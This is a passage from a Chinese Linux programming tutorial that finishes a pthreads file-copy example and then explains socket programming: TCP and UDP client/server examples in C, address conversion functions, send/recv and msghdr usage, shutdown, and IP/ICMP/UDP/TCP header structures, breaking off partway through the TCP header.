struct dirent **namelist;
struct stat filestat;
/* 得到当前路径下面所有的文件(包含目录)的个数 */
if((num=scandir(".",&namelist,0,alphasort))<0)
{
fprintf(stderr,"Get File Num Error：%s\n\a",strerror(errno));
exit(1);
}
/* 给线程分配空间,其实没有必要这么多的 */
if(((thread=(pthread_t *)malloc(sizeof(pthread_t)*num))==NULL)||
```

```
((file=(struct copy_file *)malloc(sizeof(struct copy_file)*num))==NULL)
)
{
fprintf(stderr,"Out Of Memory!\n\a");
exit(1);
}

for(i=0,j=0;i<num;i++)
{
memset(filename,'\0',BUFFER);
strcpy(filename,namelist->;d_name);
if(stat(filename,&filestat)==-1)
{
fprintf(stderr,"Get File Information：%s\n\a",strerror(errno));
exit(1);
}
/* 我们忽略目录 */
if(!S_ISREG(filestat.st_mode))continue;
if((file[j].infile=open(filename,O_RDONLY))<0)
{
fprintf(stderr,"Open %s Error：%s\n\a",filename,strerror(errno));
continue;
}
strcat(filename,".bak");
if((file[j].outfile=open(filename,O_WRONLY|O_CREAT,S_IRUSR|S_IWUSR))
<0)
{
fprintf(stderr,"Creat %s Error：%s\n\a",filename,strerror(errno
));
continue;
}
/* 创建线程,进行文件拷贝 */
if(pthread_create(&thread[j],NULL,copy,(void *)&file[j])!=0)
fprintf(stderr,"Create Thread[%d] Error：%s\n\a",i,strerror(errno));
j++;
}
byte_copy=0;
for(i=0;i<j;i++)
{
/* 等待线程结束 */
if(pthread_join(thread,(void **)&byte_copy_p)!=0)
fprintf(stderr,"Thread[%d] Join Error：%s\n\a",
i,strerror(errno));
else
```

```
{
if(bytes_copy_p==NULL)continue;
printf("Thread[%d] Copy %d bytes\n\a",i,*byte_copy_p);
byte_copy+=*byte_copy_p;
/* 释放我们在 copy 函数里面创建的内存 */
free(byte_copy_p);
}
}
printf("Total Copy Bytes %d\n\a",byte_copy);
free(thread);
free(file);
exit(0);
}
```

线程的介绍就到这里了,关于线程的其他资料可以查看下面这写链接.
Getting Started With POSIX Threads
The LinuxThreads library

<未完待续—制作者注>

第八章 网络编程

前 言

Linux 系统的一个主要特点是他的网络功能非常强大。随着网络的日益普及，基于网络的应用也将越来越多。 在这个网络时代，掌握了 Linux 的网络编程技术，将令每一个人处于不败之地，学习 Linux 的网络编程，可以让我们真正的体会到网络的魅力。 想成为一位真正的 hacker，必须掌握网络编程技术。

现在书店里面已经有了许多关于 Linux 网络编程方面的书籍，网络上也有了许多关于网络编程方面的教材，大家都可以 去看一看的。在这里我会和大家一起来领会 Linux 网络编程的奥妙，由于我学习 Linux 的网络编程也开始不久，所以我下面所说的肯定会有错误的， 还请大家指点出来，在这里我先谢谢大家了。

在这一个章节里面，我会和以前的几个章节不同，在前面我都是概括的说了一下， 从现在开始我会尽可能的详细的说明每一个函数及其用法。好了让我们去领会 Linux 的伟大的魅力吧！

1. Linux 网络知识介绍

1.1 客户端程序和服务端程序

网络程序和普通的程序有一个最大的区别是网络程序是由两个部分组成的--客户端和服务器端.
网络程序是先有服务器程序启动,等待客户端的程序运行并建立连接.一般的来说是服务端的程序 在一个端口上监听,直到有一个客户端的程序发来了请求.

1.2 常用的命令

由于网络程序是有两个部分组成,所以在调试的时候比较麻烦,为此我们有必要知道一些常用的网络命令
netstat
命令 netstat 是用来显示网络的连接,路由表和接口统计等网络的信息.netstat 有许多的选项 我们常用的选项是 -an 用来显示详细的网络状态.至于其它的选项我们可以使用帮助手册获得详细的情况.
telnet
telnet 是一个用来远程控制的程序,但是我们完全可以用这个程序来调试我们的服务端程序的. 比如我们的服务器程序在监听 8888 端口,我们可以用 telnet localhost 8888 来查看服务端的状况.

1.3 TCP/UDP 介绍

TCP(Transfer Control Protocol)传输控制协议是一种面向连接的协议,当我们的网络程序使用 这个协议的时候,网络可以保证我们的客户端和服务端的连接是可靠的,安全的.

UDP(User Datagram Protocol)用户数据报协议是一种非面向连接的协议,这种协议并不能保证我们的网络程序的连接是可靠的,所以我们现在编写的程序一般是采用 TCP 协议的
..

2. 初等网络函数介绍（TCP）

Linux 系统是通过提供套接字(socket)来进行网络编程的.网络程序通过 socket 和其它

几个函数的调用,会返回一个 通讯的文件描述符,我们可以将这个描述符看成普通的文件的描述符来操作,这就是 linux 的设备无关性的 好处.我们可以通过向描述符读写操作实现网络之间的数据交流.

2.1 socket

int socket(int domain, int type,int protocol)
domain：说明我们网络程序所在的主机采用的通讯协族(AF_UNIX 和 AF_INET 等). AF_UNIX 只能够用于单一的 Unix 系统进程间通信,而 AF_INET 是针对 Internet 的,因而可以允许在

远程 主机之间通信(当我们 man socket 时发现 domain 可选项是 PF_*而不是 AF_*,因为 glibc 是 posix 的实现 所以用 PF 代替了 AF,不过我们都可以使用的).
type：我们网络程序所采用的通讯协议(SOCK_STREAM,SOCK_DGRAM 等) SOCK_STREAM 表明
我们用的是 TCP 协议,这样会提供按顺序的,可靠,双向,面向连接的比特流. SOCK_DGRAM 表明我们用的是 UDP 协议,这样只会提供定长的,不可靠,无连接的通信.
protocol：由于我们指定了 type,所以这个地方我们一般只要用 0 来代替就可以了 sock et 为网络通讯做基本的准备.成功时返回文件描述符,失败时返回-1,看 errno 可知道出错的详细情况.

2.2 bind

int bind(int sockfd, struct sockaddr *my_addr, int addrlen)
sockfd：是由 socket 调用返回的文件描述符.
addrlen：是 sockaddr 结构的长度.
my_addr：是一个指向 sockaddr 的指针. 在<linux/socket.h>;中有 sockaddr 的定义
struct sockaddr{
unisgned short as_family;
char sa_data[14];
};
不过由于系统的兼容性,我们一般不用这个头文件,而使用另外一个结构(struct sock addr_in) 来代替.在<linux/in.h>;中有 sockaddr_in 的定义
struct sockaddr_in{
unsigned short sin_family;
unsigned short int sin_port;
struct in_addr sin_addr;
unsigned char sin_zero[8];
我们主要使用 Internet 所以 sin_family 一般为 AF_INET,sin_addr 设置为 INADDR_ANY 表示可以 和任何的主机通信,sin_port 是我们要监听的端口号.sin_zero[8]是用来填充的
.. bind 将本地的端口同 socket 返回的文件描述符捆绑在一起.成功是返回 0,失败的情况和 socket 一样

2.3 listen

int listen(int sockfd,int backlog)
sockfd：是 bind 后的文件描述符.
backlog：设置请求排队的最大长度.当有多个客户端程序和服务端相连时, 使用这个表示可以介绍的排队长度. listen 函数将 bind 的文件描述符变为监听套接字.返回的情况和 b ind 一样.

2.4 accept

int accept(int sockfd, struct sockaddr *addr,int *addrlen)
sockfd：是 listen 后的文件描述符.
addr,addrlen 是用来给客户端的程序填写的,服务器端只要传递指针就可以了. bind,li sten 和 accept 是服务器端用的函数,accept 调用时,服务器端的程序会一直阻塞到有一个客户程序发出了连接. accept 成功时返回最后的服务器端的文件描述符,这个时候服务器端可以向该描述符写信息了. 失败时返回-1

2.5 connect

int connect(int sockfd, struct sockaddr * serv_addr,int addrlen)

sockfd：socket 返回的文件描述符.
serv_addr：储存了服务器端的连接信息.其中 sin_add 是服务端的地址
addrlen：serv_addr 的长度
connect 函数是客户端用来同服务端连接的.成功时返回 0,sockfd 是同服务端通讯的文件描述符 失败时返回-1.

2.6 实例

服务器端程序

```
/******* 服务器程序 (server.c) ***********/
#include <stdlib.h>;
#include <stdio.h>;
#include <errno.h>;
#include <string.h>;
#include <netdb.h>;
#include <sys/types.h>;
#include <netinet/in.h>;
#include <sys/socket.h>;
int main(int argc, char *argv[])
{
int sockfd,new_fd;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int sin_size,portnumber;
char hello[]="Hello! Are You Fine?\n";
if(argc!=2)
{
fprintf(stderr,"Usage：%s portnumber\a\n",argv[0]);
exit(1);
}
if((portnumber=atoi(argv[1]))<0)
{
fprintf(stderr,"Usage：%s portnumber\a\n",argv[0]);
exit(1);
}
/* 服务器端开始建立 socket 描述符 */
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
fprintf(stderr,"Socket error：%s\n\a",strerror(errno));
exit(1);
}
/* 服务器端填充 sockaddr 结构 */
bzero(&server_addr,sizeof(struct sockaddr_in));
server_addr.sin_family=AF_INET;
server_addr.sin_addr.s_addr=htonl(INADDR_ANY);
server_addr.sin_port=htons(portnumber);
```

```
/* 捆绑 sockfd 描述符 */
if(bind(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==
-1)
{
fprintf(stderr,"Bind error：%s\n\a",strerror(errno));
exit(1);
}
/* 监听 sockfd 描述符 */
if(listen(sockfd,5)==-1)
{
fprintf(stderr,"Listen error：%s\n\a",strerror(errno));
exit(1);
}
while(1)
{
/* 服务器阻塞,直到客户程序建立连接 */
sin_size=sizeof(struct sockaddr_in);
if((new_fd=accept(sockfd,(struct sockaddr *)(&client_addr),&sin_size
))==-1)
{
fprintf(stderr,"Accept error：%s\n\a",strerror(errno));
exit(1);
}
fprintf(stderr,"Server get connection from %s\n",
inet_ntoa(client_addr.sin_addr));
if(write(new_fd,hello,strlen(hello))==-1)
{
fprintf(stderr,"Write Error：%s\n",strerror(errno));
exit(1);
}
/* 这个通讯已经结束 */
close(new_fd);
/* 循环下一个 */
}
close(sockfd);
exit(0);
}
```

客户端程序

```
/******* 客户端程序 client.c ***********/
#include <stdlib.h>;
#include <stdio.h>;
#include <errno.h>;
#include <string.h>;
#include <netdb.h>;
```

```
#include <sys/types.h>;
#include <netinet/in.h>;
#include <sys/socket.h>;
int main(int argc, char *argv[])
{
int sockfd;
char buffer[1024];
struct sockaddr_in server_addr;
struct hostent *host;
int portnumber,nbytes;
if(argc!=3)
{
fprintf(stderr,"Usage：%s hostname portnumber\a\n",argv[0]);
exit(1);
}
if((host=gethostbyname(argv[1]))==NULL)
{
fprintf(stderr,"Gethostname error\n");
exit(1);
}
if((portnumber=atoi(argv[2]))<0)
{
fprintf(stderr,"Usage：%s hostname portnumber\a\n",argv[0]);
exit(1);
}
/* 客户程序开始建立 sockfd 描述符 */
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
fprintf(stderr,"Socket Error：%s\a\n",strerror(errno));
exit(1);
}
/* 客户程序填充服务端的资料 */
bzero(&server_addr,sizeof(server_addr));
server_addr.sin_family=AF_INET;
server_addr.sin_port=htons(portnumber);
server_addr.sin_addr=*((struct in_addr *)host->;h_addr);
/* 客户程序发起连接请求 */
if(connect(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr)
)==-1)
{
fprintf(stderr,"Connect Error：%s\a\n",strerror(errno));
exit(1);
}
/* 连接成功了 */
```

```
if((nbytes=read(sockfd,buffer,1024))==-1)
{
fprintf(stderr,"Read Error：%s\n",strerror(errno));
exit(1);
}
buffer[nbytes]='\0';
printf("I have received：%s\n",buffer);
/* 结束通讯 */
close(sockfd);
exit(0);
}
```

MakeFile

这里我们使用 GNU 的 make 实用程序来编译. 关于 make 的详细说明见 Make 使用介绍

```
########## Makefile ############
all：server client
server：server.c
gcc $^ -o $@
client：client.c
gcc $^ -o $@
```

运行 make 后会产生两个程序 server(服务器端)和 client(客户端) 先运行./server port number& (portnumber 随便取一个大于 1204 且不在/etc/services 中出现的号码 就用 8888 好了),然后运行 ./client localhost 8888 看看有什么结果. (你也可以用 telnet 和 netstat 试一试.) 上面是一个最简单的网络程序,不过是不是也有点烦.上面有许多函数我们还没有解释. 我会在下一章进行的详细的说明.

2.7 总结

总的来说网络程序是由两个部分组成的--客户端和服务器端.它们的建立步骤一般是：

服务器端

socket-->;bind-->;listen-->;accept

客户端

socket-->;connect

--

3. 服务器和客户机的信息函数

这一节我们来学习转换和网络方面的信息函数.

3.1 字节转换函数

在网络上面有着许多类型的机器,这些机器在表示数据的字节顺序是不同的, 比如 i386 芯片是低字节在内存地址的低端,高字节在高端,而 alpha 芯片却相反. 为了统一起来,在 Linux 下面,有专门的字节转换函数.

unsigned long int htonl(unsigned long int hostlong)

unsigned short int htons(unisgned short int hostshort)
unsigned long int ntohl(unsigned long int netlong)
unsigned short int ntohs(unsigned short int netshort)
在这四个转换函数中,h 代表 host, n 代表 network.s 代表 short l 代表 long 第一个函数的意义是将本机器上的 long 数据转化为网络上的 long. 其他几个函数的意义也差不多..

3.2 IP 和域名的转换

在网络上标志一台机器可以用 IP 或者是用域名.那么我们怎么去进行转换呢?
struct hostent *gethostbyname(const char *hostname)
struct hostent *gethostbyaddr(const char *addr,int len,int type)
在<netdb.h>;中有 struct hostent 的定义
struct hostent{
char *h_name; /* 主机的正式名称 */
char *h_aliases; /* 主机的别名 */
int h_addrtype; /* 主机的地址类型 AF_INET*/
int h_length; /* 主机的地址长度 对于 IP4 是 4 字节 32 位*/
char **h_addr_list; /* 主机的 IP 地址列表 */
}
#define h_addr h_addr_list[0] /* 主机的第一个 IP 地址*/
gethostbyname 可以将机器名(如 linux.yessun.com)转换为一个结构指针.在这个结构里面储存了域名的信息
gethostbyaddr 可以将一个 32 位的 IP 地址(C0A80001)转换为结构指针.
这两个函数失败时返回 NULL 且设置 h_errno 错误变量,调用 h_strerror()可以得到详细的出错信息

3.3 字符串的 IP 和 32 位的 IP 转换.

在网络上面我们用的 IP 都是数字加点(192.168.0.1)构成的, 而在 struct in_addr 结构中用的是 32 位的 IP, 我们上面那个 32 位 IP(C0A80001)是的 192.168.0.1 为了转换我们可以使用下面两个函数
int inet_aton(const char *cp,struct in_addr *inp)
char *inet_ntoa(struct in_addr in)
函数里面 a 代表 ascii n 代表 network.第一个函数表示将 a.b.c.d 的 IP 转换为 32 位的 IP,存储在 inp 指针里面.第二个是将 32 位 IP 转换为 a.b.c.d 的格式.

3.4 服务信息函数

在网络程序里面我们有时候需要知道端口.IP 和服务信息.这个时候我们可以使用以下几个函数
int getsockname(int sockfd,struct sockaddr *localaddr,int *addrlen)
int getpeername(int sockfd,struct sockaddr *peeraddr, int *addrlen)
struct servent *getservbyname(const char *servname,const char *protoname)
struct servent *getservbyport(int port,const char *protoname)
struct servent
{
char *s_name; /* 正式服务名 */
char **s_aliases; /* 别名列表 */
int s_port; /* 端口号 */

```
char *s_proto; /* 使用的协议 */
}
```

一般我们很少用这几个函数.对应客户端,当我们要得到连接的端口号时在 connect 调用成功后使用可得到 系统分配的端口号.对于服务端,我们用 INADDR_ANY 填充后,为了得到连接的 IP 我们可以在 accept 调用成功后 使用而得到 IP 地址.

在网络上有许多的默认端口和服务,比如端口 21 对 ftp80 对应 WWW.为了得到指定的端口号的服务 我们可以调用第四个函数,相反为了得到端口号可以调用第三个函数.

3.5 一个例子

```
#include <netdb.h>;
#include <stdio.h>;
#include <stdlib.h>;
#include <sys/socket.h>;
#include <netinet/in.h>;
int main(int argc ,char **argv)
{
struct sockaddr_in addr;
struct hostent *host;
char **alias;
if(argc<2)
{
fprintf(stderr,"Usage： %s hostname|ip..\n\a",argv[0]);
exit(1);
}
argv++;
for(;*argv!=NULL;argv++)
{
/* 这里我们假设是 IP*/
if(inet_aton(*argv,&addr.sin_addr)!=0)
{
host=gethostbyaddr((char *)&addr.sin_addr,4,AF_INET);
printf("Address information of Ip %s\n",*argv);
}
else
{
/* 失败,难道是域名?*/
host=gethostbyname(*argv); printf("Address information

of host %s\n",*argv);
}
if(host==NULL)
{
/* 都不是 ,算了不找了*/
fprintf(stderr,"No address information of %s\n",*arg
v);
```

```
continue;
}
printf("Official host name %s\n",host->;h_name);
printf("Name aliases： ");
for(alias=host->;h_aliases;*alias!=NULL;alias++)
printf("%s ,",*alias);
printf("\nIp address： ");
for(alias=host->;h_addr_list;*alias!=NULL;alias++)
printf("%s ,",inet_ntoa(*(struct in_addr *)(*alias)));
}
}
```

在这个例子里面,为了判断用户输入的是 IP 还是域名我们调用了两个函数,第一次我们假设输入的是 IP 所以调用 inet_aton, 失败的时候,再调用 gethostbyname 而得到信息.

--

4. 完整的读写函数

旦我们建立了连接,我们的下一步就是进行通信了.在 Linux 下面把我们前面建立的通道看成是文件描述符,这样服务器端和客户端进行通信时候,只要往文件描述符里面读写东西了. 就象我们往文件读写一样.

4.1 写函数 write

ssize_t write(int fd,const void *buf,size_t nbytes)

write 函数将 buf 中的 nbytes 字节内容写入文件描述符 fd.成功时返回写的字节数.失败时返回-1. 并设置 errno 变量. 在网络程序中,当我们向套接字文件描述符写时有俩种可能..

1)write 的返回值大于 0,表示写了部分或者是全部的数据.

2)返回的值小于 0,此时出现了错误.我们要根据错误类型来处理.

如果错误为 EINTR 表示在写的时候出现了中断错误.

如果为 EPIPE 表示网络连接出现了问题(对方已经关闭了连接).

为了处理以上的情况,我们自己编写一个写函数来处理这几种情况.

```
int my_write(int fd,void *buffer,int length)
{
int bytes_left;
int written_bytes;
char *ptr;
ptr=buffer;
bytes_left=length;
while(bytes_left>;0)
{
/* 开始写*/
```

```
written_bytes=write(fd,ptr,bytes_left);
if(written_bytes<=0) /* 出错了*/
{
if(errno==EINTR) /* 中断错误 我们继续写*/
written_bytes=0;
else /* 其他错误 没有办法,只好撤退了*/
return(-1);
}
bytes_left-=written_bytes;
ptr+=written_bytes; /* 从剩下的地方继续写 */
}
return(0);
}
```

4.2 读函数 read

ssize_t read(int fd,void *buf,size_t nbyte) read 函数是负责从 fd 中读取内容.当读成功时,read 返回实际所读的字节数,如果返回的值是 0 表示已经读到文件的结束了,小于 0 表示出现了错误.如果错误为 EINTR 说明读是由中断引起的, 如果是 ECONNREST 表示网络连接出了问题. 和上面一样,我们也写一个自己的读函数.

```
int my_read(int fd,void *buffer,int length)
{
int bytes_left;
int bytes_read;
char *ptr;
bytes_left=length;
while(bytes_left>;0)
{
bytes_read=read(fd,ptr,bytes_read);
if(bytes_read<0)
{
if(errno==EINTR)
bytes_read=0;
else
return(-1);
}
else if(bytes_read==0)
break;
bytes_left-=bytes_read;
ptr+=bytes_read;
}
return(length-bytes_left);
}
```

4.3 数据的传递

有了上面的两个函数,我们就可以向客户端或者是服务端传递数据了.比如我们要传递一

个结构.可以使用如下方式

```
/* 客户端向服务端写 */
struct my_struct my_struct_client;
write(fd,(void *)&my_struct_client,sizeof(struct my_struct);
/* 服务端的读*/
char buffer[sizeof(struct my_struct)];
struct *my_struct_server;
read(fd,(void *)buffer,sizeof(struct my_struct));
my_struct_server=(struct my_struct *)buffer;
```

在网络上传递数据时我们一般都是把数据转化为 char 类型的数据传递.接收的时候也是一样的 注意的是我们没有必要在网络上传递指针(因为传递指针是没有任何意义的,我们必须传递指针所指向的内容)

--

5. 用户数据报发送

我们前面已经学习网络程序的一个很大的部分,由这个部分的知识,我们实际上可以写出
大部分的基于 TCP 协议的网络程序了.现在在 Linux 下的大部分程序都是用我们上面所学的知识来写的.我们可以去找一些源程序来参考一下.这一章,我们简单的学习一下基于 UDP 协议的网络程序.

5.1 两个常用的函数

```
int recvfrom(int sockfd,void *buf,int len,unsigned int flags,struct socka
ddr * from int *fromlen)
int sendto(int sockfd,const void *msg,int len,unsigned int flags,struct s
ockaddr *to int tolen)
```

sockfd,buf,len 的意义和 read,write 一样,分别表示套接字描述符,发送或接收的缓冲区及大小.recvfrom 负责从 sockfd 接收数据,如果 from 不是 NULL,那么在 from 里面存储了信息来源的情况,如果对信息的来源不感兴趣,可以将 from 和 fromlen 设置为 NULL.sendto 负责向 to 发送信息.此时在 to 里面存储了收信息方的详细资料.

5.2 一个实例

```
/* 服务端程序 server.c */
#include <sys/types.h>;
#include <sys/socket.h>;
#include <netinet/in.h>;
#include <stdio.h>;
```

```
#include <errno.h>;
#define SERVER_PORT 8888
#define MAX_MSG_SIZE 1024
void udps_respon(int sockfd)
{
struct sockaddr_in addr;
int addrlen,n;
char msg[MAX_MSG_SIZE];
while(1)
{ /* 从网络上度,写到网络上面去 */
n=recvfrom(sockfd,msg,MAX_MSG_SIZE,0,
(struct sockaddr*)&addr,&addrlen);
msg[n]=0;
/* 显示服务端已经收到了信息 */
fprintf(stdout,"I have received %s",msg);
sendto(sockfd,msg,n,0,(struct sockaddr*)&addr,addrlen);
}
}
int main(void)
{
int sockfd;
struct sockaddr_in addr;
sockfd=socket(AF_INET,SOCK_DGRAM,0);
if(sockfd<0)
{
fprintf(stderr,"Socket Error：%s\n",strerror(errno));
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_addr.s_addr=htonl(INADDR_ANY);
addr.sin_port=htons(SERVER_PORT);
if(bind(sockfd,(struct sockaddr *)&ddr,sizeof(struct sockaddr_in))<0
)
{
fprintf(stderr,"Bind Error：%s\n",strerror(errno));
exit(1);
}
udps_respon(sockfd);
close(sockfd);
}
/* 客户端程序 */
#include <sys/types.h>;
#include <sys/socket.h>;
```

```
#include <netinet/in.h>;
#include <errno.h>;
#include <stdio.h>;
#include <unistd.h>;
#define MAX_BUF_SIZE 1024
void udpc_requ(int sockfd,const struct sockaddr_in *addr,int len)
{
char buffer[MAX_BUF_SIZE];
int n;
while(1)
{ /* 从键盘读入,写到服务端 */
fgets(buffer,MAX_BUF_SIZE,stdin);
sendto(sockfd,buffer,strlen(buffer),0,addr,len);
bzero(buffer,MAX_BUF_SIZE);
/* 从网络上读,写到屏幕上 */
n=recvfrom(sockfd,buffer,MAX_BUF_SIZE,0,NULL,NULL);
buffer[n]=0;
fputs(buffer,stdout);
}
}
int main(int argc,char **argv)
{
int sockfd,port;
struct sockaddr_in addr;
if(argc!=3)
{
fprintf(stderr,"Usage：%s server_ip server_port\n",argv[0]);
exit(1);
}
if((port=atoi(argv[2]))<0)
{
fprintf(stderr,"Usage：%s server_ip server_port\n",argv[0]);
exit(1);
}
sockfd=socket(AF_INET,SOCK_DGRAM,0);
if(sockfd<0)
{
fprintf(stderr,"Socket Error：%s\n",strerror(errno));
exit(1);
}
/* 填充服务端的资料 */
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(port);
```

```
if(inet_aton(argv[1],&addr.sin_addr)<0)
{
fprintf(stderr,"Ip error：%s\n",strerror(errno));
exit(1);
}
udpc_requ(sockfd,&addr,sizeof(struct sockaddr_in));
close(sockfd);
}
############ 编译文件 Makefile ###########
all：server client
server：server.c
gcc -o server server.c
client：client.c
gcc -o client client.c
clean：
rm -f server
rm -f client
rm -f core
```

上面的实例如果大家编译运行的话,会发现一个小问题的. 在我机器上面,我先运行服务端,然后运行客户端.在客户端输入信息,发送到服务端, 在服务端显示已经收到信息,但是客户端没有反映.再运行一个客户端,向服务端发出信息 却可以得到反应.我想可能是第一个客户端已经阻塞了.如果谁知道怎么解决的话,请告诉我,谢谢. 由于 UDP 协议是不保证可靠接收数据的要求,所以我们在发送信息的时候,系统并不能够保证我们发出的信息都正确无误的到达目的地.一般的来说我们在编写网络程序的时候都是选用 TCP 协议的

--

6. 高级套接字函数

在前面的几个部分里面,我们已经学会了怎么样从网络上读写信息了.前面的一些函数(read,write)是网络程序里面最基本的函数.也是最原始的通信函数.在这一章里面,我们一起来学习网络通信的高级函数.这一章我们学习另外几个读写函数.

6.1 recv 和 send

recv 和 send 函数提供了和 read 和 write 差不多的功能.不过它们提供 了第四个参数来控制读写操作.

```
int recv(int sockfd,void *buf,int len,int flags)
int send(int sockfd,void *buf,int len,int flags)
```

前面的三个参数和 read,write 一样,第四个参数可以是 0 或者是以下的组合

MSG_DONTROUTE	不查找路由表
MSG_OOB	接受或者发送带外数据
MSG_PEEK	查看数据,并不从系统缓冲区移走数据
MSG_WAITALL	等待所有数据

MSG_DONTROUTE：是 send 函数使用的标志.这个标志告诉 IP 协议.目的主机在本地网络上面
,没有必要查找路由表.这个标志一般用网络诊断和路由程序里面.
MSG_OOB：表示可以接收和发送带外的数据.关于带外数据我们以后会解释的.
MSG_PEEK：是 recv 函数的使用标志,表示只是从系统缓冲区中读取内容,而不清楚系统缓冲区的内容.这样下次读的时候,仍然是一样的内容.一般在有多个进程读写数据时可以使用这个标志.
MSG_WAITALL 是 recv 函数的使用标志,表示等到所有的信息到达时才返回.使用这个标志的时候 recv 回一直阻塞,直到指定的条件满足,或者是发生了错误. 1)当读到了指定的字节时,函数正常返回.返回值等于 len 2)当读到了文件的结尾时,函数正常返回.返回值小于 len 3)当操作发生错误时,返回-1,且设置错误为相应的错误号(errno)
如果 flags 为 0,则和 read,write 一样的操作.还有其它的几个选项,不过我们实际上用的很少,可以查看 Linux Programmer's Manual 得到详细解释.

6.2 recvfrom 和 sendto

这两个函数一般用在非套接字的网络程序当中(UDP),我们已经在前面学会了.

6.3 recvmsg 和 sendmsg

recvmsg 和 sendmsg 可以实现前面所有的读写函数的功能.

```
int recvmsg(int sockfd,struct msghdr *msg,int flags)
int sendmsg(int sockfd,struct msghdr *msg,int flags)
struct msghdr
{
void *msg_name;
int msg_namelen;
struct iovec *msg_iov;
int msg_iovlen;
void *msg_control;
int msg_controllen;
int msg_flags;
}
struct iovec
{
void *iov_base; /* 缓冲区开始的地址 */
size_t iov_len; /* 缓冲区的长度 */
}
```

msg_name 和 msg_namelen 当套接字是非面向连接时(UDP),它们存储接收和发送方的地址

信息.msg_name 实际上是一个指向 struct sockaddr 的指针,msg_name 是结构的长度.当套接字是面向连接时,这两个值应设为 NULL. msg_iov 和 msg_iovlen 指出接受和发送的缓冲区内容.msg_iov 是一个结构指针,msg_iovlen 指出这个结构数组的大小. msg_control 和 msg_controllen 这两个变量是用来接收和发送控制数据时的 msg_flags 指定接受和发送的操作选项.和 recv,send 的选项一样

6.4 套接字的关闭

关闭套接字有两个函数 close 和 shutdown.用 close 时和我们关闭文件一样.

6.5 shutdown

int shutdown(int sockfd,int howto)
TCP 连接是双向的(是可读写的),当我们使用 close 时,会把读写通道都关闭,有时侯我们希望只关闭一个方向,这个时候我们可以使用 shutdown.针对不同的 howto,系统回采取不同的关闭方式.
howto=0 这个时候系统会关闭读通道.但是可以继续往接字描述符写.
howto=1 关闭写通道,和上面相反,着时候就只可以读了.
howto=2 关闭读写通道,和 close 一样 在多进程程序里面,如果有几个子进程共享一个套接字时,如果我们使用 shutdown, 那么所有的子进程都不能够操作了,这个时候我们只能够使用 close 来关闭子进程的套接字描述符.

7. TCP/IP 协议

你也许听说过 TCP/IP 协议,那么你知道到底什么是 TCP,什么是 IP 吗?在这一章里面,我们一
起来学习这个目前网络上用最广泛的协议.

7.1 网络传输分层

如果你考过计算机等级考试,那么你就应该已经知道了网络传输分层这个概念.在网络上,人们为了传输数据时的方便,把网络的传输分为 7 个层次.分别是：应用层,表示层,会话层,传输层,网络层,数据链路层和物理层.分好了层以后,传输数据时,上一层如果要数据的话,就可以直接向下一层要了,而不必要管数据传输的细节.下一层也只向它的上一层提供数据,而不要去管其它东西了.如果你不想考试,你没有必要去记这些东西的.只要知道是分层的,而且各层的作用不同.

7.2 IP 协议

IP 协议是在网络层的协议.它主要完成数据包的发送作用. 下面这个表是 IP4 的数据包格

式
0 4 8 16 32

|版本 |首部长度|服务类型| 数据包总长 |

| 标识 |DF |MF| 碎片偏移 |

| 生存时间 | 协议 | 首部较验和 |

| 源 IP 地址 |

| 目的 IP 地址 |

| 选项 |
==========
| 数据 |

下面我们看一看 IP 的结构定义<netinet/ip.h>;

```
struct ip
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned int ip_hl：4; /* header length */
unsigned int ip_v：4; /* version */
#endif
#if __BYTE_ORDER == __BIG_ENDIAN
unsigned int ip_v：4; /* version */
unsigned int ip_hl：4; /* header length */
#endif
u_int8_t ip_tos; /* type of service */
u_short ip_len; /* total length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
u_int8_t ip_ttl; /* time to live */
u_int8_t ip_p; /* protocol */
u_short ip_sum; /* checksum */
struct in_addr ip_src, ip_dst; /* source and dest address */
};
```

ip_vIP 协议的版本号,这里是 4,现在 IPV6 已经出来了
ip_hlIP 包首部长度,这个值以 4 字节为单位.IP 协议首部的固定长度为 20 个字节,如果 IP 包没有选项,那么这个值为 5.

ip_tos 服务类型,说明提供的优先权.
ip_len 说明 IP 数据的长度.以字节为单位.
ip_id 标识这个 IP 数据包.
ip_off 碎片偏移,这和上面 ID 一起用来重组碎片的.
ip_ttl 生存时间.没经过一个路由的时候减一,直到为 0 时被抛弃.
ip_p 协议,表示创建这个 IP 数据包的高层协议.如 TCP,UDP 协议.
ip_sum 首部校验和,提供对首部数据的校验.
ip_src,ip_dst 发送者和接收者的 IP 地址
关于 IP 协议的详细情况,请参考 RFC791

7.3 ICMP 协议

ICMP 是消息控制协议,也处于网络层.在网络上传递 IP 数据包时,如果发生了错误,那么就会用 ICMP 协议来报告错误.
ICMP 包的结构如下：
0 8 16 32

| 类型 | 代码 | 校验和 |

| 数据 | 数据 |

ICMP 在<netinet/ip_icmp.h>;中的定义是

```
struct icmphdr
{
u_int8_t type; /* message type */
u_int8_t code; /* type sub-code */
u_int16_t checksum;
union
{
struct
{
u_int16_t id;
u_int16_t sequence;
} echo; /* echo datagram */
u_int32_t gateway; /* gateway address */
struct
{
u_int16_t __unused;
u_int16_t mtu;
} frag; /* path mtu discovery */
} un;
};
```

关于 ICMP 协议的详细情况可以查看 RFC792

7.4 UDP 协议

UDP 协议是建立在 IP 协议基础之上的,用在传输层的协议.UDP 和 IP 协议一样是不可靠的数据报服务.UDP 的头格式为：

0 16 32

| UDP 源端口 | UDP 目的端口 |

| UDP 数据报长度 | UDP 数据报校验 |

UDP 结构在<netinet/udp.h>;中的定义为：

```
struct udphdr {
u_int16_t source;
u_int16_t dest;
u_int16_t len;
u_int16_t check;
};
```

关于 UDP 协议的详细情况,请参考 RFC768

7.5 TCP

TCP 协议也是建立在 IP 协议之上的,不过 TCP 协议是可靠的.按照顺序发送的.TCP 的数据结构比前面的结构都要复杂.

0 4 8 10 16 24 32

| 源端口 | 目的端口 |

| 序列号 |

| 确认号 |

| | |U|A|P|S|F| |

